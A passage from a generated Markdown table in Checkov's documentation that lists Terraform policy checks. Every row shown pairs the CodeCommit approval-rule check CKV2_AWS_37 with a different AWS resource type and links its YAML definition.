[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  989 | CKV2_AWS_37              | resource                         | aws_appautoscaling_scheduled_action                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  990 | CKV2_AWS_37              | resource                         | aws_appautoscaling_target                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  991 | CKV2_AWS_37              | resource                         | aws_appconfig_application                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  992 | CKV2_AWS_37              | resource                         | aws_appconfig_configuration_profile                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  993 | CKV2_AWS_37              | resource                         | aws_appconfig_deployment                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  994 | CKV2_AWS_37              | resource                         | aws_appconfig_deployment_strategy                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  995 | CKV2_AWS_37              | resource                         | aws_appconfig_environment                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  996 | CKV2_AWS_37              | resource                         | aws_appconfig_extension                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  997 | CKV2_AWS_37              | resource                         | aws_appconfig_extension_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  998 | CKV2_AWS_37              | resource                         | aws_appconfig_hosted_configuration_version                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  999 | CKV2_AWS_37              | resource                         | aws_appfabric_app_authorization                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1000 | CKV2_AWS_37              | resource                         | aws_appfabric_app_authorization_connection                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1001 | CKV2_AWS_37              | resource                         | aws_appfabric_app_bundle                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1002 | CKV2_AWS_37              | resource                         | aws_appfabric_ingestion                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1003 | CKV2_AWS_37              | resource                         | aws_appfabric_ingestion_destination                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1004 | CKV2_AWS_37              | resource                         | aws_appflow_connector_profile                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1005 | CKV2_AWS_37              | resource                         | aws_appflow_flow                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1006 | CKV2_AWS_37              | resource                         | aws_appintegrations_data_integration                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1007 | CKV2_AWS_37              | resource                         | aws_appintegrations_event_integration                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1008 | CKV2_AWS_37              | resource                         | aws_applicationinsights_application                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1009 | CKV2_AWS_37              | resource                         | aws_appmesh_gateway_route                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1010 | CKV2_AWS_37              | resource                         | aws_appmesh_mesh                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1011 | CKV2_AWS_37              | resource                         | aws_appmesh_route                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1012 | CKV2_AWS_37              | resource                         | aws_appmesh_virtual_gateway                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1013 | CKV2_AWS_37              | resource                         | aws_appmesh_virtual_node                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1014 | CKV2_AWS_37              | resource                         | aws_appmesh_virtual_router                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1015 | CKV2_AWS_37              | resource                         | aws_appmesh_virtual_service                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1016 | CKV2_AWS_37              | resource                         | aws_apprunner_auto_scaling_configuration_version                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1017 | CKV2_AWS_37              | resource                         | aws_apprunner_connection                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1018 | CKV2_AWS_37              | resource                         | aws_apprunner_custom_domain_association                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1019 | CKV2_AWS_37              | resource                         | aws_apprunner_default_auto_scaling_configuration_version                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1020 | CKV2_AWS_37              | resource                         | aws_apprunner_deployment                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1021 | CKV2_AWS_37              | resource                         | aws_apprunner_observability_configuration                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1022 | CKV2_AWS_37              | resource                         | aws_apprunner_service                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1023 | CKV2_AWS_37              | resource                         | aws_apprunner_vpc_connector                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1024 | CKV2_AWS_37              | resource                         | aws_apprunner_vpc_ingress_connection                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1025 | CKV2_AWS_37              | resource                         | aws_appstream_directory_config                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1026 | CKV2_AWS_37              | resource                         | aws_appstream_fleet                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1027 | CKV2_AWS_37              | resource                         | aws_appstream_fleet_stack_association                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1028 | CKV2_AWS_37              | resource                         | aws_appstream_image_builder                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1029 | CKV2_AWS_37              | resource                         | aws_appstream_stack                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1030 | CKV2_AWS_37              | resource                         | aws_appstream_user                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1031 | CKV2_AWS_37              | resource                         | aws_appstream_user_stack_association                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1032 | CKV2_AWS_37              | resource                         | aws_appsync_api_cache                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1033 | CKV2_AWS_37              | resource                         | aws_appsync_api_key                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1034 | CKV2_AWS_37              | resource                         | aws_appsync_datasource                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1035 | CKV2_AWS_37              | resource                         | aws_appsync_domain_name                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1036 | CKV2_AWS_37              | resource                         | aws_appsync_domain_name_api_association                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1037 | CKV2_AWS_37              | resource                         | aws_appsync_function                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1038 | CKV2_AWS_37              | resource                         | aws_appsync_graphql_api                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1039 | CKV2_AWS_37              | resource                         | aws_appsync_resolver                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1040 | CKV2_AWS_37              | resource                         | aws_appsync_source_api_association                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1041 | CKV2_AWS_37              | resource                         | aws_appsync_type                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1042 | CKV2_AWS_37              | resource                         | aws_athena_data_catalog                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1043 | CKV2_AWS_37              | resource                         | aws_athena_database                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1044 | CKV2_AWS_37              | resource                         | aws_athena_named_query                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1045 | CKV2_AWS_37              | resource                         | aws_athena_prepared_statement                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1046 | CKV2_AWS_37              | resource                         | aws_athena_workgroup                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1047 | CKV2_AWS_37              | resource                         | aws_auditmanager_account_registration                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1048 | CKV2_AWS_37              | resource                         | aws_auditmanager_assessment                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1049 | CKV2_AWS_37              | resource                         | aws_auditmanager_assessment_delegation                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1050 | CKV2_AWS_37              | resource                         | aws_auditmanager_assessment_report                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1051 | CKV2_AWS_37              | resource                         | aws_auditmanager_control                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1052 | CKV2_AWS_37              | resource                         | aws_auditmanager_framework                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1053 | CKV2_AWS_37              | resource                         | aws_auditmanager_framework_share                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1054 | CKV2_AWS_37              | resource                         | aws_auditmanager_organization_admin_account_registration                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1055 | CKV2_AWS_37              | resource                         | aws_autoscaling_attachment                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1056 | CKV2_AWS_37              | resource                         | aws_autoscaling_group                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1057 | CKV2_AWS_37              | resource                         | aws_autoscaling_group_tag                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1058 | CKV2_AWS_37              | resource                         | aws_autoscaling_lifecycle_hook                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1059 | CKV2_AWS_37              | resource                         | aws_autoscaling_notification                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1060 | CKV2_AWS_37              | resource                         | aws_autoscaling_policy                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1061 | CKV2_AWS_37              | resource                         | aws_autoscaling_schedule                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1062 | CKV2_AWS_37              | resource                         | aws_autoscaling_traffic_source_attachment                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1063 | CKV2_AWS_37              | resource                         | aws_autoscalingplans_scaling_plan                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1064 | CKV2_AWS_37              | resource                         | aws_az_info                                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1065 | CKV2_AWS_37              | resource                         | aws_backup_framework                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1066 | CKV2_AWS_37              | resource                         | aws_backup_global_settings                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1067 | CKV2_AWS_37              | resource                         | aws_backup_logically_air_gapped_vault                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1068 | CKV2_AWS_37              | resource                         | aws_backup_plan                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1069 | CKV2_AWS_37              | resource                         | aws_backup_region_settings                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1070 | CKV2_AWS_37              | resource                         | aws_backup_report_plan                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1071 | CKV2_AWS_37              | resource                         | aws_backup_restore_testing_plan                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1072 | CKV2_AWS_37              | resource                         | aws_backup_restore_testing_selection                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1073 | CKV2_AWS_37              | resource                         | aws_backup_selection                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1074 | CKV2_AWS_37              | resource                         | aws_backup_vault                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1075 | CKV2_AWS_37              | resource                         | aws_backup_vault_lock_configuration                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1076 | CKV2_AWS_37              | resource                         | aws_backup_vault_notifications                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1077 | CKV2_AWS_37              | resource                         | aws_backup_vault_policy                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1078 | CKV2_AWS_37              | resource                         | aws_batch_compute_environment                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 